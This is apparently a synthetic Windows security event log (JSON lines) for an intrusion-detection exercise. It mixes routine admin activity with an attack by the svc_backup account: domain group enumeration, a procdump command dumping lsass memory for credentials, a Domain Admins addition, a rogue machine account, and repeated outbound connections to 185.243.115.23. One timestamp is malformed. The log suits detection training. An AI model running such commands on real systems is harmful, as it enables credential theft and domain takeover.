+{"@timestamp":"2026-03-15T09:16:00.000Z","event_id":4688,"host":"APP-SRV01","user":"svc_backup","process_name":"net.exe","parent_process":"cmd.exe","command_line":"net group \"Domain Admins\" /domain","description":"A new process has been created","category":"Process"} +{"@timestamp":"2026-03-15T09:18:00.000Z","event_id":4769,"host":"DC01","user":"f.petit","service_name":"cifs/APP-SRV01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.48","description":"A Kerberos service ticket was requested","category":"Kerberos"} +{"@timestamp":"2026-03-15T09:20:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} +{"@timestamp":"2026-03-15T09:22:00.000Z","event_id":4624,"host":"DC01","user":"a.admin","logon_type":2,"source_ip":"192.168.10.20","description":"Admin interactive logon DC01","category":"Authentication"} +{"@timestamp":"2026-03-15T09:24:00.000Z","event_id":4688,"host":"DC01","user":"a.admin","process_name":"powershell.exe","parent_process":"explorer.exe","command_line":"powershell.exe Get-ADGroupMember 'Domain Admins'","description":"Legitimate admin AD query","category":"Process"} +{"@timestamp":"2026-03-15T09:26:00.000Z","event_id":5156,"host":"DC01","user":"SYSTEM","direction":"inbound","src_ip":"192.168.10.52","dst_port":389,"protocol":"LDAP","description":"LDAP query from APP-SRV01","category":"Network"} +{"@timestamp":"2026-03-15T09:28:00.000Z","event_id":4769,"host":"DC01","user":"m.martin","service_name":"ldap/DC01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.45","description":"A Kerberos service ticket was requested","category":"Kerberos"} +{"@timestamp":"2026-03-15T09:30:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} +{"@timestamp":"2026-03-15T09:32:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"p.bernard","process_name":"excel.exe","parent_process":"outlook.exe","command_line":"C:\\Program Files\\Microsoft Office\\Office16\\EXCEL.EXE tableau_bord.xlsx","description":"A new process has been created","category":"Process"} +{"@timestamp":"2026-03-15T09:34:00.000Z","event_id":5156,"host":"APP-SRV01","user":"SYSTEM","direction":"inbound","src_ip":"192.168.10.45","dst_port":443,"protocol":"TCP","description":"HTTPS inbound from workstation","category":"Network"} +{"@timestamp":"2026-03-15T09:36:00.000Z","event_id":4624,"host":"APP-SRV01","user":"f.petit","logon_type":3,"source_ip":"192.168.10.48","description":"Network logon f.petit","category":"Authentication"} +{"@timestamp":"2026-03-15T09:38:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"SYSTEM","direction":"outbound","dst_ip":"192.168.10.10","dst_port":53,"protocol":"DNS","description":"DNS query to DC01","category":"Network"} +{"@timestamp":"2026-03-15T09:40:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} +{"@timestamp":"2026-03-15T09:42:00.000Z","event_id":4769,"host":"DC01","user":"a.admin","service_name":"cifs/APP-SRV01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.20","description":"A Kerberos service ticket was requested","category":"Kerberos"} +{"@timestamp":"2026-03-15T09:44:00.000Z","event_id":4688,"host":"DC01","user":"a.admin","process_name":"dcdiag.exe","parent_process":"cmd.exe","command_line":"dcdiag /test:replications","description":"DC diagnostic run by admin","category":"Process"} +{"@timestamp":"2026-03-15T09:46:00.000Z","event_id":5156,"host":"APP-SRV01","user":"SYSTEM","direction":"inbound","src_ip":"192.168.10.50","dst_port":443,"protocol":"TCP","description":"Monitoring HTTPS inbound","category":"Network"} +{"@timestamp":"2026-03-15T09:48:12.000Z","event_id":4624,"host":"APP-SRV01","user":"svc_backup","logon_type":10,"source_ip":"192.168.10.45","description":"An account was successfully logged on","category":"Authentication"} +{"@timestamp":"2026-03-15T09:48:30.000Z","event_id":4688,"host":"APP-SRV01","user":"svc_backup","process_name":"cmd.exe","parent_process":"rdpclip.exe","command_line":"cmd.exe /c whoami /all","description":"A new process has been created","category":"Process"} +{"@timestamp":"2026-03-15T09:49:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} +{"@timestamp":"2026-03-15T09:49:01.000Z","event_id":4688,"host":"APP-SRV01","user":"svc_backup","process_name":"procdump.exe","parent_process":"cmd.exe","command_line":"procdump.exe -accepteula -ma lsass.exe C:\\Windows\\Temp\\mem.dmp","description":"A new process has been created","category":"Process"} +{"@timestamp":"2026-03-15T09:49:30.000Z","event_id":10,"host":"APP-SRV01","user":"svc_backup","source_process":"procdump.exe","target_process":"lsass.exe","call_trace":"C:\\Windows\\SYSTEM32\\ntdll.dll+MiniDumpWriteDump","description":"Process accessed","category":"Process"} +{"@timestamp":"2026-03-15T09:50:00.000Z","event_id":5156,"host":"APP-SRV01","user":"svc_backup","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} +{"@timestamp":"2026-03-15T09:52:00.000Z","event_id":4769,"host":"DC01","user":"p.bernard","service_name":"cifs/APP-SRV01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.47","description":"A Kerberos service ticket was requested","category":"Kerberos"} +{"@timestamp":"2026-03-15T09:54:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} +{"@timestamp":"2026-03-15T09:55:22.000Z","event_id":4769,"host":"DC01","user":"svc_backup","service_name":"krbtgt","ticket_encryption":"0x12","ticket_options":"0x40810010","client_ip":"192.168.10.52","description":"A Kerberos service ticket was requested","category":"Kerberos"} +{"@timestamp":"2026-03-15T09:55:23.000Z","event_id":4769,"host":"DC01","user":"svc_backup","service_name":"cifs/DC01","ticket_encryption":"0x12","ticket_options":"0x40800010","client_ip":"192.168.10.52","description":"A Kerberos service ticket was requested","category":"Kerberos"} +{"@timestamp":"2026-03-15T09:56:00.000Z","event_id":4688,"host":"APP-SRV01","user":"svc_backup","process_name":"net.exe","parent_process":"cmd.exe","command_line":"net view /domain:CORP","description":"A new process has been created","category":"Process"} +{"@timestamp":"2026-03-15T09:58:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"SYSTEM","direction":"outbound","dst_ip":"192.168.10.10","dst_port":88,"protocol":"Kerberos","description":"Kerberos request to DC01","category":"Network"} +{"@timestamp":"2026-03-15T10:00:00.000Z","event_id":5156,"host":"APP-SRV01","user":"svc_backup","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} +{"@timestamp":"2026-03-15T10:02:14.000Z","event_id":4728,"host":"DC01","user":"svc_backup","target_user_sid":"S-1-5-21-1180699209-877415012-3182924384-1107","group_name":"Domain Admins","description":"A member was added to a security-enabled global group","category":"GroupManagement"} +{"@timestamp":"2026-03-15T10:02:15.000Z","event_id":4764,"host":"DC01","user":"svc_backup","group_name":"Domain Admins","description":"A group's type was changed","category":"GroupManagement"} +{"@timestamp":"2026-03-15T10:03:00.000Z","event_id":4769,"host":"DC01","user":"a.admin","service_name":"ldap/DC01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.20","description":"A Kerberos service ticket was requested","category":"Kerberos"} +{"@timestamp":"2026-03-15T10:04:00.000Z","event_id":4624,"host":"WIN-ACCT01","user":"a.leclerc","logon_type":2,"source_ip":"192.168.10.45","description":"Interactive logon a.leclerc","category":"Authentication"} +{"@timestamp":"2026-03-15T10:05:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} +{"@timestamp":"2026-03-15T10:06:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"a.leclerc","process_name":"chrome.exe","parent_process":"explorer.exe","command_line":"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe","description":"A new process has been created","category":"Process"} +{"@timestamp":"2026-03-15T10:07:00.000Z","event_id":4688,"host":"APP-SRV01","user":"svc_backup","process_name":"net.exe","parent_process":"cmd.exe","command_line":"net group \"Enterprise Admins\" /domain","description":"A new process has been created","category":"Process"} +{"@timestamp":"2026-03-15T10:08:44.000Z","event_id":4720,"host":"DC01","user":"svc_backup","new_account":"svc_update$","description":"A user account was created","category":"AccountManagement"} +{"@timestamp":"2026-03-15T10:08:46.000Z","event_id":4742,"host":"DC01","user":"svc_backup","target_account":"svc_update$","description":"A computer account was changed","category":"AccountManagement"} +{"@timestamp":"2026-03-15T10:08:48.000Z","event_id":5136,"host":"DC01","user":"svc_backup","object_dn":"CN=svc_update$,CN=Users,DC=CORP,DC=LOCAL","attribute_ldap":"servicePrincipalName","attribute_value":"HOST/svc_update$.corp.local","description":"A directory service object was modified","category":"DirectoryService"} +{"@timestamp":"2026-03-15T10:09:00.000Z","event_id":5156,"host":"APP-SRV01","user":"svc_backup","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} +{"@timestamp":"2026-03-15T10:10:00.000Z","event_id":4769,"host":"DC01","user":"m.martin","service_name":"cifs/APP-SRV01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.45","description":"A Kerberos service ticket was requested","category":"Kerberos"} +{"@timestamp":"2026-03-15T10:12:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"m.martin","process_name":"powershell.exe","parent_process":"explorer.exe","command_line":"powershell.exe Get-EventLog -LogName Security -Newest 50","description":"Legitimate admin event log check","category":"Process"} +{"@timestamp":"2026-03-15T10:14:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} +{"@timestamp":"2026-03-15T10:16:00.000Z","event_id":4624,"host":"APP-SRV01","user":"m.martin","logon_type":3,"source_ip":"192.168.10.45","description":"Network logon m.martin","category":"Authentication"} +{"@timestamp":"2026-03-15T10:18:00.000Z","event_id":5156,"host":"DC01","user":"SYSTEM","direction":"outbound","dst_ip":"192.168.10.52","dst_port":445,"protocol":"SMB","description":"DC replication to APP-SRV01","category":"Network"} +{"@timestamp":"2026-03-15T10:20:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} +{"@timestamp":"2026-03-15T10:22:00.000Z","event_id":4769,"host":"DC01","user":"f.petit","service_name":"ldap/DC01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.48","description":"A Kerberos service ticket was requested","category":"Kerberos"} +{"@timestamp":"2026-03-15T10:24:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"p.bernard","process_name":"teams.exe","parent_process":"explorer.exe","command_line":"C:\\Users\\p.bernard\\AppData\\Local\\Microsoft\\Teams\\current\\Teams.exe","description":"A new process has been created","category":"Process"} +{"@timestamp":"2026-03-15T10:26:00.000Z","event_id":5156,"host":"APP-SRV01","user":"svc_backup","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} +{"@timestamp":"2026-03-15T10:28:00.000Z","event_id":4624,"host":"DC01","user":"p.bernard","logon_type":3,"source_ip":"192.168.10.47","description":"Network logon p.bernard to DC01","category":"Authentication"} +{"@timestamp":"2026-03-15T10:30:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} +{"@timestamp":"2026-03-15T10:32:00.000Z","event_id":4769,"host":"DC01","user":"a.leclerc","service_name":"cifs/DC01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.45","description":"A Kerberos service ticket was requested","category":"Kerberos"} +{"@timestamp":"2026-03-15T10:34:00.000Z","event_id":5156,"host":"DC01","user":"SYSTEM","direction":"inbound","src_ip":"192.168.10.50","dst_port":636,"protocol":"LDAPS","description":"Secure LDAP monitoring inbound","category":"Network"} +{"@timestamp":"2026-03-15T10:36:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"f.petit","process_name":"chrome.exe","parent_process":"explorer.exe","command_line":"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe","description":"A new process has been created","category":"Process"} +{"@timestamp":"2026-03-15T10:38:00.000Z","event_id":5156,"host":"APP-SRV01","user":"SYSTEM","direction":"inbound","src_ip":"192.168.10.47","dst_port":443,"protocol":"TCP","description":"HTTPS inbound from p.bernard","category":"Network"} +{"@timestamp":"2026-03-15T10:40.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} +{"@timestamp":"2026-03-15T10:42:00.000Z","event_id":4688,"host":"DC01","user":"a.admin","process_name":"eventvwr.msc","parent_process":"mmc.exe","command_line":"eventvwr.msc","description":"Event Viewer opened by admin","category":"Process"} +{"@timestamp":"2026-03-15T10:44:00.000Z","event_id":4769,"host":"DC01","user":"p.bernard","service_name":"http/APP-SRV01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.47","description":"A Kerberos service ticket was requested","category":"Kerberos"} +{"@timestamp":"2026-03-15T10:46:00.000Z","event_id":4624,"host":"WIN-ACCT01","user":"f.petit","logon_type":2,"source_ip":"192.168.10.48","description":"Interactive logon f.petit","category":"Authentication"} +{"@timestamp":"2026-03-15T10:48:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} +{"@timestamp":"2026-03-15T10:50:00.000Z","event_id":5156,"host":"APP-SRV01","user":"svc_backup","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} +{"@timestamp":"2026-03-15T10:52:00.000Z","event_id":4769,"host":"DC01","user":"m.martin","service_name":"cifs/WIN-ACCT01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.45","description":"A Kerberos service ticket was requested","category":"Kerberos"} +{"@timestamp":"2026-03-15T10:54:00.000Z","event_id":4688,"host":"APP-SRV01","user":"a.leclerc","process_name":"powershell.exe","parent_process":"explorer.exe","command_line":"powershell.exe Get-Service | Format-Table -AutoSize","description":"Legitimate admin command","category":"Process"} +{"@timestamp":"2026-03-15T10:56:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} +{"@timestamp":"2026-03-15T10:58:00.000Z","event_id":4624,"host":"APP-SRV01","user":"a.leclerc","logon_type":3,"source_ip":"192.168.10.45","description":"Network logon a.leclerc","category":"Authentication"} +{"@timestamp":"2026-03-15T11:00:00.000Z","event_id":5156,"host":"APP-SRV01","user":"svc_backup","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} +{"@timestamp":"2026-03-15T11:02:00.000Z","event_id":4769,"host":"DC01","user":"a.admin","service_name":"cifs/DC01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.20","description":"A Kerberos service ticket was requested","category":"Kerberos"} +{"@timestamp":"2026-03-15T11:04:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"SYSTEM","direction":"outbound","dst_ip":"192.168.10.10","dst_port":53,"protocol":"DNS","description":"DNS query to DC01","category":"Network"} +{"@timestamp":"2026-03-15T11:06:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"m.martin","process_name":"excel.exe","parent_process":"explorer.exe","command_line":"C:\\Program Files\\Microsoft Office\\Office16\\EXCEL.EXE suivi_projet.xlsx","description":"A new process has been created","category":"Process"} +{"@timestamp":"2026-03-15T11:08:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} +{"@timestamp":"2026-03-15T11:10:00.000Z","event_id":4624,"host":"DC01","user":"a.admin","logon_type":3,"source_ip":"192.168.10.20","description":"Admin network logon to DC01","category":"Authentication"} +{"@timestamp":"2026-03-15T11:12:00.000Z","event_id":4769,"host":"DC01","user":"f.petit","service_name":"cifs/APP-SRV01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.48","description":"A Kerberos service ticket was requested","category":"Kerberos"} +{"@timestamp":"2026-03-15T11:14:00.000Z","event_id":5156,"host":"APP-SRV01","user":"SYSTEM","direction":"inbound","src_ip":"192.168.10.48","dst_port":443,"protocol":"TCP","description":"HTTPS inbound from f.petit workstation","category":"Network"} +{"@timestamp":"2026-03-15T11:16:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} +{"@timestamp":"2026-03-15T11:18:00.000Z","event_id":4688,"host":"DC01","user":"a.admin","process_name":"powershell.exe","parent_process":"explorer.exe","command_line":"powershell.exe Get-ADComputer -Filter * | Select-Object Name,OperatingSystem","description":"Legitimate admin AD query","category":"Process"} +{"@timestamp":"2026-03-15T11:20:00.000Z","event_id":4769,"host":"DC01","user":"a.leclerc","service_name":"ldap/DC01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.45","description":"A Kerberos service ticket was requested","category":"Kerberos"} +{"@timestamp":"2026-03-15T11:22:00.000Z","event_id":5156,"host":"APP-SRV01","user":"svc_backup","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} +{"@timestamp":"2026-03-15T11:24:00.000Z","event_id":4624,"host":"WIN-ACCT01","user":"p.bernard","logon_type":2,"source_ip":"192.168.10.47","description":"Interactive logon p.bernard","category":"Authentication"} +{"@timestamp":"2026-03-15T11:26:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"SYSTEM","direction":"outbound","dst_ip":"52.113.194.132","dst_port":443,"protocol":"TCP","description":"Teams telemetry HTTPS","category":"Network"} +{"@timestamp":"2026-03-15T11:28:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} +{"@timestamp":"2026-03-15T11:30:00.000Z","event_id":4769,"host":"DC01","user":"p.bernard","service_name":"cifs/DC01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.47","description":"A Kerberos service ticket was requested","category":"Kerberos"} +{"@timestamp":"2026-03-15T11:32:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"a.leclerc","process_name":"mstsc.exe","parent_process":"explorer.exe","command_line":"mstsc.exe /v:192.168.10.52 /f","description":"RDP client full screen to APP-SRV01","category":"Process"} +{"@timestamp":"2026-03-15T11:33:00.000Z","event_id":4624,"host":"APP-SRV01","user":"a.leclerc","logon_type":10,"source_ip":"192.168.10.45","description":"Remote interactive (RDP) logon - a.leclerc","category":"Authentication"} +{"@timestamp":"2026-03-15T11:34:00.000Z","event_id":5156,"host":"APP-SRV01","user":"svc_backup","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} +{"@timestamp":"2026-03-15T11:36:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} +{"@timestamp":"2026-03-15T11:38:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"f.petit","process_name":"outlook.exe","parent_process":"explorer.exe","command_line":"C:\\Program Files\\Microsoft Office\\Office16\\OUTLOOK.EXE","description":"A new process has been created","category":"Process"} +{"@timestamp":"2026-03-15T11:40:00.000Z","event_id":4769,"host":"DC01","user":"m.martin","service_name":"http/APP-SRV01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.45","description":"A Kerberos service ticket was requested","category":"Kerberos"} +{"@timestamp":"2026-03-15T11:42:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} +{"@timestamp":"2026-03-15T11:44:00.000Z","event_id":5156,"host":"DC01","user":"SYSTEM","direction":"outbound","dst_ip":"192.168.10.45","dst_port":445,"protocol":"SMB","description":"DC to workstation SMB communication","category":"Network"} +{"@timestamp":"2026-03-15T11:46:00.000Z","event_id":4624,"host":"APP-SRV01","user":"p.bernard","logon_type":3,"source_ip":"192.168.10.47","description":"Network logon p.bernard","category":"Authentication"} +{"@timestamp":"2026-03-15T11:48:00.000Z","event_id":5156,"host":"APP-SRV01","user":"svc_backup","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} +{"@timestamp":"2026-03-15T11:50:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} +{"@timestamp":"2026-03-15T11:52:00.000Z","event_id":4769,"host":"DC01","user":"f.petit","service_name":"cifs/WIN-ACCT01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.48","description":"A Kerberos service ticket was requested","category":"Kerberos"} +{"@timestamp":"2026-03-15T11:54:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"m.martin","process_name":"chrome.exe","parent_process":"explorer.exe","command_line":"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe --profile-directory=Default","description":"A new process has been created","category":"Process"} +{"@timestamp":"2026-03-15T11:56:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} +{"@timestamp":"2026-03-15T11:58:00.000Z","event_id":5156,"host":"DC01","user":"SYSTEM","direction":"inbound","src_ip":"192.168.10.50","dst_port":389,"protocol":"LDAP","description":"Monitoring LDAP query to DC01","category":"Network"} +{"@timestamp":"2026-03-15T12:00:00.000Z","event_id":4769,"host":"DC01","user":"a.admin","service_name":"ldap/DC01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.20","description":"A Kerberos service ticket was requested","category":"Kerberos"} +{"@timestamp":"2026-03-15T12:02:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} +{"@timestamp":"2026-03-15T12:04:00.000Z","event_id":4688,"host":"APP-SRV01","user":"a.leclerc","process_name":"notepad.exe","parent_process":"rdpclip.exe","command_line":"notepad.exe C:\\Logs\\app_errors.log","description":"A new process has been created","category":"Process"} +{"@timestamp":"2026-03-15T12:06:00.000Z","event_id":5156,"host":"APP-SRV01","user":"svc_backup","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} +{"@timestamp":"2026-03-15T12:08:00.000Z","event_id":4624,"host":"WIN-ACCT01","user":"a.leclerc","logon_type":2,"source_ip":"192.168.10.45","description":"Interactive logon a.leclerc","category":"Authentication"} +{"@timestamp":"2026-03-15T12:10:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} +{"@timestamp":"2026-03-15T12:12:00.000Z","event_id":4769,"host":"DC01","user":"p.bernard","service_name":"cifs/APP-SRV01","ticket_encryption":"0x17","ticket_options":"0x40810000","client_ip":"192.168.10.47","description":"A Kerberos service ticket was requested","category":"Kerberos"} +{"@timestamp":"2026-03-15T12:14:00.000Z","event_id":4688,"host":"WIN-ACCT01","user":"p.bernard","process_name":"winword.exe","parent_process":"outlook.exe","command_line":"C:\\Program Files\\Microsoft Office\\Office16\\WINWORD.EXE synthese_incidents.docx","description":"A new process has been created","category":"Process"} +{"@timestamp":"2026-03-15T12:16:00.000Z","event_id":5156,"host":"APP-SRV01","user":"svc_backup","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"} +{"@timestamp":"2026-03-15T12:18:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"SYSTEM","direction":"outbound","dst_ip":"13.107.42.14","dst_port":443,"protocol":"TCP","description":"Azure AD authentication","category":"Network"} +{"@timestamp":"2026-03-15T12:20:00.000Z","event_id":5156,"host":"WIN-ACCT01","user":"j.dupont","direction":"outbound","dst_ip":"185.243.115.23","dst_port":80,"protocol":"TCP","description":"Windows Filtering Platform permitted a connection","category":"Network"}